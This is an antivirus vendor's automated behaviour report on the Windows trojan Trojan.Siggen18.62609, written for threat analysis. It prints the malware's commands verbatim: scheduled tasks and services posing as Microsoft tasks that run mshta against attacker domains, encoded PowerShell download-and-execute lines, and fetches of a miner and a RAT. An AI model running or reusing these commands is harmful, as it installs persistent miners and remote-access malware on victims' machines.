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Trojan.Siggen18.62609

Added to the Dr.Web virus database: 2022-10-22

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization
  • <SYSTEM32>\tasks\microsoft\windows\bluetooth\updatedevicetask
  • <SYSTEM32>\tasks\microsoft\windows\shell\windowsshellupdate
  • <SYSTEM32>\tasks\microsoft\windows\shell\winshell
  • <SYSTEM32>\tasks\microsoft\windows\upnp\upnphost
  • <SYSTEM32>\tasks\microsoft\windows\upnp\upnpclient task
  • <SYSTEM32>\tasks\microsoft\windows\edp\edp app lock task
  • <SYSTEM32>\tasks\microsoft\windows\edp\edp app update cache
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.50319 critical
  • <SYSTEM32>\tasks\microsoft\windows\diskcleanup\slientdefragdisks
  • <SYSTEM32>\tasks\microsoft\windows\registry\regbackup
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization files-s-3-5-21-2236678155-433529325-2142214968-1138
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization files-s-3-5-21-2236678156-433529325-2142214268-1138
  • <SYSTEM32>\tasks\microsoft\windows\ramdiagnostic\error diagnostic
  • <SYSTEM32>\tasks\microsoft\windows\mui\lpupdate
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '<SYSTEM32>\WinRing0x64.sys'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_64] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_64] 'ImagePath' = 'cmd /c mshta http://asq.r77vh0.pw/win/checking.hta'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_32] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_32] 'ImagePath' = 'cmd /c mshta https://asq.swhw71un.pw/win/checking.hta'
Creates the following services
  • 'WinRing0_1_2_0' <SYSTEM32>\WinRing0x64.sys
  • 'cli_optimization_v2.0.55727_64' cmd /c mshta http://asq.r77vh0.pw/win/checking.hta
  • 'cli_optimization_v2.0.55727_32' cmd /c mshta https://asq.swhw71un.pw/win/checking.hta
Malicious functions
Downloads
  • http://83.#7.20.81/meta
Injects code into
the following system processes:
  • <SYSTEM32>\rundll32.exe
Modifies file system
Creates the following files
  • %TEMP%\-a4lkr9j.0.cs
  • %TEMP%\-a4lkr9j.cmdline
  • %TEMP%\-a4lkr9j.out
  • %TEMP%\cscc7b1.tmp
  • %TEMP%\resc7b2.tmp
  • %TEMP%\-a4lkr9j.dll
  • %ALLUSERSPROFILE%\oracle\java\java.exe
  • %WINDIR%\fonts\del.ps1
Deletes the following files
  • %TEMP%\resc7b2.tmp
  • %TEMP%\cscc7b1.tmp
  • %TEMP%\-a4lkr9j.out
  • %TEMP%\-a4lkr9j.0.cs
  • %TEMP%\-a4lkr9j.pdb
  • %TEMP%\-a4lkr9j.cmdline
  • %TEMP%\-a4lkr9j.dll
Network activity
Connects to
  • '83.#7.20.81':80
  • '83.#7.20.81':443
  • 'eu.##nerpool.pw':443
  • '14#.#8.80.151':2220
TCP
HTTP GET requests
  • http://83.#7.20.81/meta
  • http://83.#7.20.81/win/checking.ps1
  • http://83.#7.20.81/win/min/64.exe
  • http://83.#7.20.81/win/del.ps1
  • http://14#.##.80.151:2220/login via 14#.#8.80.151
  • http://14#.##.80.151:2220/r via 14#.#8.80.151
  • http://14#.##.80.151:2220/bin/rat.exe via 14#.#8.80.151
Other
  • '83.#7.20.81':443
  • 'eu.##nerpool.pw':443
UDP
  • DNS ASK eu.##nerpool.pw
Miscellaneous
Creates and executes the following
  • '%ALLUSERSPROFILE%\oracle\java\java.exe'
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-a4lkr9j.cmdline"' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC7B2.tmp" "%TEMP%\CSCC7B1.tmp"' (with hidden window)
  • '%ALLUSERSPROFILE%\oracle\java\java.exe' ' (with hidden window)
Executes the following
  • '<SYSTEM32>\rundll32.exe'
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\UPnP\UPnPHost /sc DAILY /f /mo 2 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#whw71un.pw/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\UPnP\UPnPClient Task" /sc DAILY /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\UPnP\UPnPClient Task" /sc DAILY /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\EDP\EDP App Lock Task" /sc hourly /f /mo 22 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#77vh0.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\EDP\EDP App Lock Task" /sc hourly /f /mo 22 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#77vh0.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\EDP\EDP App Update Cache" /sc hourly /f /mo 23 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\EDP\EDP App Update Cache" /sc hourly /f /mo 23 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta" /ru SYSTEM
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical" /sc daily /f /mo 3 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#7610rir.pw/win/checking.hta" ...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical" /sc daily /f /mo 3 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#7610rir.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\DiskCleanup\SlientDefragDisks /sc daily /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asd.s7610rir.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\RamDiagnostic\Error Diagnostic" /sc DAILY /f /mo 8 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcABzADoALw...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Registry\RegBackup /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run" /ru "NT AUTHORITY\...
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Registry\RegBackup /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run" /ru "NT AUTHORITY\SYSTEM" /RL ...
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138" /sc HOURLY /f /mo 17 /tr "cmd /c powershell -no...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138" /sc HOURLY /f /mo 17 /tr "cmd /c powershell -nop -noni -w 1...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138" /sc DAILY /f /mo 5 /tr "cmd /c powershell -nop ...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138" /sc DAILY /f /mo 5 /tr "cmd /c powershell -nop -noni -w 1 -...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\RamDiagnostic\Error Diagnostic" /sc DAILY /f /mo 8 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AH...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\UPnP\UPnPHost /sc DAILY /f /mo 2 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#whw71un.pw/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\DiskCleanup\SlientDefragDisks /sc daily /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asd.s7610rir.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\WinShell /sc DAILY /f /mo 1 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /end
  • '<SYSTEM32>\cmd.exe' /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAD...
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-a4lkr9j.cmdline"
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC7B2.tmp" "%TEMP%\CSCC7B1.tmp"
  • '<SYSTEM32>\cmd.exe' /c sc delete cli_optimization_v2.0.55727_64
  • '<SYSTEM32>\sc.exe' delete cli_optimization_v2.0.55727_64
  • '<SYSTEM32>\cmd.exe' /c sc delete cli_optimization_v2.0.55727_32
  • '<SYSTEM32>\sc.exe' delete cli_optimization_v2.0.55727_32
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALw...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpAD...
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\MobilePC\DetectPC /end
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\WindowsShellUpdate /sc HOURLY /f /mo 6 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/update.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Registry\RegBackup /delete /f
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Registry\RegBackup /delete /f
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
  • '<SYSTEM32>\cmd.exe' /c schtasks /create /TN \Microsoft\Windows\Bluetooth\UpdateDeviceTask /TR %ALLUSERSPROFILE%\Oracle\Java\java.exe /ST 00:00 /SC once /DU 59994 /RI 1 /F /RL HIGHEST /RU SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /TN \Microsoft\Windows\Bluetooth\UpdateDeviceTask /TR %ALLUSERSPROFILE%\Oracle\Java\java.exe /ST 00:00 /SC once /DU 59994 /RI 1 /F /RL HIGHEST /RU SYSTEM
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\WindowsShellUpdate /sc HOURLY /f /mo 6 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/update.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\WinShell /sc DAILY /f /mo 1 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\schtasks.exe' /f /tn \Microsoft\Windows\MUI\LPupdate /tr "<SYSTEM32>\cmd.exe /c powershell -exec bypass %WINDIR%\Fonts\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create

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